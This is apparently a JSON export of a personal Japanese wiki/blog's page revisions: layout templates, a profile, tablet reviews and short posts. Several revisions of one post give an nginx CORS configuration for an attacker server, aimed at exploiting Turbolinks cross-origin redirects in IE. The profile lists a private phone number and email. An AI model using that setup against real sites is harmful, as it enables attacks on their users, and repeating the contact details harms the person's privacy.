\"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-25T11:31:36.000Z","updated_at":"2013-02-25T11:31:36.000Z"},{"id":2304,"name":"index","body":"\u003cspan class=\"h0\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-02-25T12:04:39.000Z","updated_at":"2013-02-25T12:04:39.000Z"},{"id":2305,"name":"index","body":"# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-02-25T12:07:48.000Z","updated_at":"2013-02-25T12:07:48.000Z"},{"id":2306,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-02-25T19:20:08.000Z","updated_at":"2013-02-25T19:20:08.000Z"},{"id":2307,"name":"text/Windows タブレットの現状","body":"%blog%\r\n\r\nSurface 上陸前夜という感じなので状況を整理しておきます。\r\n\r\nだいたい製品には以下のカテゴリーがあります\r\n\r\n- ARM の Windows RT タブレット\r\n- 10.1 or 11.6 インチな Atom タブレット\r\n- 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\n- それ以外\r\n\r\nでそれぞれなんとなく現状を書いていきます。\r\n\r\n### ARM の Windows RT タブレット\r\nSurface RT などが該当するカテゴリです。これらは現状ゴミです。絶対に買ってはいけません。ゴミである理由は\r\n\r\n- Windows RT であるが故に出来ることが少ない\r\n- Atom タブレットと比較した時、重量、駆動時間などにおいてメリットが全くないかむしろ劣っている\r\n\r\nという 2 点です。このカテゴリの製品を見てよさそうと思ったら、それと似た感じの Atom タブレットを探したほうがいいです。\r\n\r\nただし商用利用可能な Office がついてくるので Office とブラウザと Hulu ぐらいしかマジで使わないみたいな人はありかもしれません(そんな奴いないだろ)。\r\n\r\n### 10.1 or 11.6 インチな Atom タブレット\r\nThinkPad Tablet 2 、 Iconia W510 、 Vivotab Smart などの製品が該当するカテゴリです。個人的にかなりおすすめのカテゴリです。\r\n\r\nこれらの製品は Intel から提供された設計をもとに作られており(Ultrabook などと似たような成り立ち)、どの製品も似たようなスペックを持ちます。具体的には以下の通り\r\n\r\n- ディスプレイは 10.1 インチ or 11.6 インチで画面画素数は 1366x768\r\n- 重量は 580g 前後\r\n- CPU は Atom Z2760 と Power VR の SoC\r\n- メモリは 2GB\r\n- バッテリーの持ち時間は普通に使ってだいたい 12 時間ぐらい\r\n\r\nこれらの点で仕様が共通なので、あとはデジタイザを積んでるかとか、分離可能なバッテリー内蔵キーボードがあるかとか、各種 I/O がどうなってるかとかが違いになります。\r\n\r\nストレージは大抵の製品で 64GB ですがリカバリ領域やシステム領域でいろいろ食われるので 64GB モデルでユーザーデータは iPad 32GB 版ぐらいしか入れられないと思っておくのがよいです。ですが全ての製品で microSDXC が使えるので増やせはします。\r\n\r\nこのカテゴリの製品は Windows 8 の UI を最大限活用することが出来、駆動時間や携帯性の面でも iPad などと比べてもメリットがあります。また VLC とか入れれば普通に ts とかも再生できて便利です。ゲームもエロゲや Super Hexagon ぐらいなら余裕で動く。\r\n\r\n価格が安いのも特徴で、製品によっては [5 万円しないくらい](http://kakaku.com/item/K0000458587/) です。\r\n\r\n### 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\nSurface Pro とか Iconia W510 とか Thinkpad Helix とか。\r\n\r\nこれらの製品は CPU は強力ですが非常に重量が重いという欠点があります。だいたいどの製品も 900g 前後です。この重量は日本の環境でタブレットとして使用するにはかなり無理があると思います。\r\n\r\n### それ以外\r\nそれ以外と書きましたが上記以外の製品というと変形ノート PC のことです。変形ノート PC はだいたいどれも重量が 1.5kg 前後あるのが現状で、タブレットとして使用するには、、、という感じです。変形機構のついていないタッチパネルノートは重量が 1.3kg 前後になってだいぶ軽くないので、変な変形機構ついてるやつ買うくらいなら変形しないやつのほうがいいんじゃないかと思います。\r\n\r\n### 結論\r\n# Surface は買うな。","created_at":"2013-02-26T04:40:48.000Z","updated_at":"2013-02-26T04:40:48.000Z"},{"id":2308,"name":"text/Windows タブレットの現状","body":"%blog%\r\n\r\nSurface 上陸前夜という感じなので状況を整理しておきます。\r\n\r\nだいたい製品には以下のカテゴリーがあります\r\n\r\n- ARM の Windows RT タブレット\r\n- 10.1 or 11.6 インチな Atom タブレット\r\n- 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\n- それ以外\r\n\r\nでそれぞれなんとなく現状を書いていきます。\r\n\r\n### ARM の Windows RT タブレット\r\nSurface RT などが該当するカテゴリです。これらは現状ゴミです。絶対に買ってはいけません。ゴミである理由は\r\n\r\n- Windows RT であるが故に出来ることが少ない\r\n- Atom タブレットと比較した時、重量、駆動時間などにおいてメリットが全くないかむしろ劣っている\r\n\r\nという 2 点です。このカテゴリの製品を見てよさそうと思ったら、それと似た感じの Atom タブレットを探したほうがいいです。\r\n\r\nただし商用利用可能な Office がついてくるので Office とブラウザと Hulu ぐらいしかマジで使わないみたいな人はありかもしれません(そんな奴いないだろ)。\r\n\r\n### 10.1 or 11.6 インチな Atom タブレット\r\nThinkPad Tablet 2 、 Iconia W510 、 Vivotab Smart などの製品が該当するカテゴリです。個人的にかなりおすすめのカテゴリです。\r\n\r\nこれらの製品は Intel から提供された設計をもとに作られており(Ultrabook などと似たような成り立ち)、どの製品も似たようなスペックを持ちます。具体的には以下の通り\r\n\r\n- ディスプレイは 10.1 インチ or 11.6 インチで画面画素数は 1366x768\r\n- 重量は 580g 前後\r\n- CPU は Atom Z2760 と Power VR の SoC\r\n- メモリは 2GB\r\n- バッテリーの持ち時間は普通に使ってだいたい 12 時間ぐらい\r\n\r\nこれらの点で仕様が共通なので、あとはデジタイザを積んでるかとか、分離可能なバッテリー内蔵キーボードがあるかとか、各種 I/O がどうなってるかとかが違いになります。\r\n\r\nストレージは大抵の製品で 64GB ですがリカバリ領域やシステム領域でいろいろ食われるので 64GB モデルでユーザーデータは iPad 32GB 版ぐらいしか入れられないと思っておくのがよいです。ですが全ての製品で microSDXC が使えるので増やせはします。\r\n\r\nこのカテゴリの製品は Windows 8 の UI を最大限活用することが出来、駆動時間や携帯性の面でも iPad などと比べてもメリットがあります。また VLC とか入れれば普通に ts とかも再生できて便利です。ゲームもエロゲや Super Hexagon ぐらいなら余裕で動く。\r\n\r\n価格が安いのも特徴で、製品によっては [5 万円しないくらい](http://kakaku.com/item/K0000458587/) です。\r\n\r\n### 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\nSurface Pro とか Iconia W700 とか Thinkpad Helix とか。\r\n\r\nこれらの製品は CPU は強力ですが非常に重量が重いという欠点があります。だいたいどの製品も 900g 前後です。この重量は日本の環境でタブレットとして使用するにはかなり無理があると思います。\r\n\r\n### それ以外\r\nそれ以外と書きましたが上記以外の製品というと変形ノート PC のことです。変形ノート PC はだいたいどれも重量が 1.5kg 前後あるのが現状で、タブレットとして使用するには、、、という感じです。変形機構のついていないタッチパネルノートは重量が 1.3kg 前後になってだいぶ軽くないので、変な変形機構ついてるやつ買うくらいなら変形しないやつのほうがいいんじゃないかと思います。\r\n\r\n### 結論\r\n# Surface は買うな。","created_at":"2013-02-26T04:46:52.000Z","updated_at":"2013-02-26T04:46:52.000Z"},{"id":2309,"name":"text/アドネットワークをブラウザがデフォルトでブロックする件","body":"%blog%\r\n\r\nどういうことが起きてるかは自分で調べてください、俺は説明する気はない。\r\n\r\n今回の話は\r\n\r\n- 広告会社のトラッキングは邪悪なのでブラウザがデフォルトブロックする\r\n\r\nという話ですが、これを一般化すると\r\n\r\n- 機能 A は邪悪なのでプラットフォーマーが禁止する\r\n\r\nという話になります。やってることとしては iOS とか Windows とかのアプローチです。話を具体的な事例に戻して言いますが、 iOS のクローズなプラットフォームに対抗して Firefox OS というオープンなプラットフォームを作ろうとしている組織がこのようなことをやるのは絶対におかしいと思います。\r\n\r\nそれはともかく携帯電話でもっと簡単にサードパーティークッキーブロックできるようにしてほしい。","created_at":"2013-02-26T08:19:54.000Z","updated_at":"2013-02-26T08:19:54.000Z"},{"id":2310,"name":"text/Windows タブレットの現状","body":"%blog%\r\n\r\nSurface 上陸前夜という感じなので状況を整理しておきます。\r\n\r\nだいたい製品には以下のカテゴリーがあります\r\n\r\n- ARM の Windows RT タブレット\r\n- 10.1 or 11.6 インチな Atom タブレット\r\n- 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\n- それ以外\r\n\r\nでそれぞれなんとなく現状を書いていきます。\r\n\r\n### ARM の Windows RT タブレット\r\nSurface RT などが該当するカテゴリです。これらは現状ゴミです。絶対に買ってはいけません。ゴミである理由は\r\n\r\n- Windows RT であるが故に出来ることが少ない\r\n- Atom タブレットと比較した時、重量、駆動時間などにおいてメリットが全くないかむしろ劣っている\r\n\r\nという 2 点です。このカテゴリの製品を見てよさそうと思ったら、それと似た感じの Atom タブレットを探したほうがいいです。\r\n\r\nただし商用利用可能な Office がついてくるので Office とブラウザと Hulu ぐらいしかマジで使わないみたいな人はありかもしれません(そんな奴いないだろ)。\r\n\r\n### 10.1 or 11.6 インチな Atom タブレット\r\nThinkPad Tablet 2 、 Iconia W510 、 Vivotab Smart などの製品が該当するカテゴリです。個人的にかなりおすすめのカテゴリです。\r\n\r\nこれらの製品は Intel から提供された設計をもとに作られており(Ultrabook などと似たような成り立ち)、どの製品も似たようなスペックを持ちます。具体的には以下の通り\r\n\r\n- ディスプレイは 10.1 インチ or 11.6 インチで画面画素数は 1366x768\r\n- 重量は 580g 前後\r\n- CPU は Atom Z2760 と Power VR の SoC\r\n- メモリは 2GB\r\n- バッテリーの持ち時間は普通に使ってだいたい 12 時間ぐらい\r\n\r\nこれらの点で仕様が共通なので、あとはデジタイザを積んでるかとか、分離可能なバッテリー内蔵キーボードがあるかとか、各種 I/O がどうなってるかとかが違いになります。\r\n\r\nストレージは大抵の製品で 64GB ですがリカバリ領域やシステム領域でいろいろ食われるので 64GB モデルでユーザーデータは iPad 32GB 版ぐらいしか入れられないと思っておくのがよいです。ですが全ての製品で microSDXC が使えるので増やせはします。\r\n\r\nこのカテゴリの製品は Windows 8 の UI を最大限活用することが出来、駆動時間や携帯性の面でも iPad などと比べてもメリットがあります。また VLC とか入れれば普通に ts とかも再生できて便利です。ゲームもエロゲや Super Hexagon ぐらいなら余裕で動く。\r\n\r\n価格が安いのも特徴で、製品によっては [5 万円しないくらい](http://kakaku.com/item/K0000458587/) です。\r\n\r\n### 10.1 or 11.6 インチ or それ以上のサイズの Core i5 タブレット\r\nSurface Pro とか Iconia W700 とか Thinkpad Helix とか。\r\n\r\nこれらの製品は CPU は強力ですが非常に重量が重いという欠点があります。だいたいどの製品も 900g 前後です。この重量は日本の環境でタブレットとして使用するにはかなり無理があると思います。\r\n\r\n### それ以外\r\nそれ以外と書きましたが上記以外の製品というと変形ノート PC のことです。変形ノート PC はだいたいどれも重量が 1.5kg 前後あるのが現状で、タブレットとして使用するには、、、という感じです。変形機構のついていないタッチパネルノートは重量が 1.3kg 前後になってだいぶ軽いので、変な変形機構ついてるやつ買うくらいなら変形しないやつのほうがいいんじゃないかと思います。\r\n\r\n### 結論\r\n# Surface は買うな。","created_at":"2013-02-26T08:29:50.000Z","updated_at":"2013-02-26T08:29:50.000Z"},{"id":2311,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-03-04T05:46:21.000Z","updated_at":"2013-03-04T05:46:21.000Z"},{"id":2312,"name":"text/PCの時計を2099年12月31日にしてみた","body":"%blog%\r\n\r\nVirtualBox 上の Windows 8 でやってみました。実際にどうなるのか?\r\n\r\n- 設定した数秒後に NTP 経由で正しい時刻に戻った\r\n\r\n以上。","created_at":"2013-03-10T03:18:55.000Z","updated_at":"2013-03-10T03:18:55.000Z"},{"id":2313,"name":"text/PCの時計を2099年12月31日にしてみた","body":"%blog% PCの時計を2099 年 12 月 31 日 23 時 59 分にしてみた\r\n\r\nVirtualBox 上の Windows 8 でやってみました。実際にどうなるのか?\r\n\r\n- 設定した数秒後に NTP 経由で正しい時刻に戻った\r\n\r\n以上。","created_at":"2013-03-10T03:22:04.000Z","updated_at":"2013-03-10T03:22:04.000Z"},{"id":2314,"name":"index","body":"# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-03-11T04:25:01.000Z","updated_at":"2013-03-11T04:25:01.000Z"},{"id":2315,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:18:05.000Z","updated_at":"2013-03-13T07:18:05.000Z"},{"id":2316,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:43:47.000Z","updated_at":"2013-03-13T07:43:47.000Z"},{"id":2317,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:44:45.000Z","updated_at":"2013-03-13T07:44:45.000Z"},{"id":2318,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。\r\n\r\n攻撃が成立する条件\r\n\r\n- ブラウザーが IE\r\n - IE 以外では same origin から cross origin へのリダイレクトが XHR 内で起きるとエラーになる\r\n - どうもこの辺りの仕様がはっきりしていないので実装依存、という理解。\r\n - 有用な参考文献: http://xkansan.tumblr.com/post/17767109559/xhr-redirect-same-origin-to-cross-origin\r\n- 攻撃サーバー側がきちんと対応してること。\r\n\r\n[ここ](https://github.com/rails/turbolinks/blob/f7295cacf375e2358310cb35a3c9253457a42707/lib/assets/javascripts/turbolinks.js.coffee#L29)でカスタムヘッダが設定されてるので攻撃サーバー側は nginx なら以下みたいに設定する必要がある。\r\n\r\n```conf\r\nadd_header Access-Control-Allow-Origin *;\r\nadd_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\nadd_header Access-Control-Allow-Headers \"Origin, Authorization, Accept\"; \r\nadd_header Access-Control-Allow-Credentials true; \r\n\r\nlocation / { \r\n if ($request_method = OPTIONS ) { \r\n add_header Access-Control-Allow-Origin *;\r\n add_header Access-Control-Allow-Methods \"POST, GET, OPTIONS\";\r\n add_header Access-Control-Allow-Headers \"Origin, Authorization, Accept, X-XHR-Referer\";\r\n add_header Access-Control-Allow-Credentials true;\r\n add_header Content-Length 0;\r\n add_header Content-Type text/plain;\r\n return 200; \r\n } \r\n}\r\n```\r\n\r\nRails 側は実証コードも糞もあるか。\r\n\r\n重要なのは OPTION ではちゃんと X-XHR-Referer を受け入れること。本番リクエストでは別に受け入れなくていい。普通の CORS の話です。\r\n\r\nXHR Level 2 自体が人類にはまだ早すぎた感ある。","created_at":"2013-03-13T07:45:15.000Z","updated_at":"2013-03-13T07:45:15.000Z"},{"id":2319,"name":"turbolinks で実際に攻撃する為に必要な事","body":"まだ厳密に検証した訳じゃない。 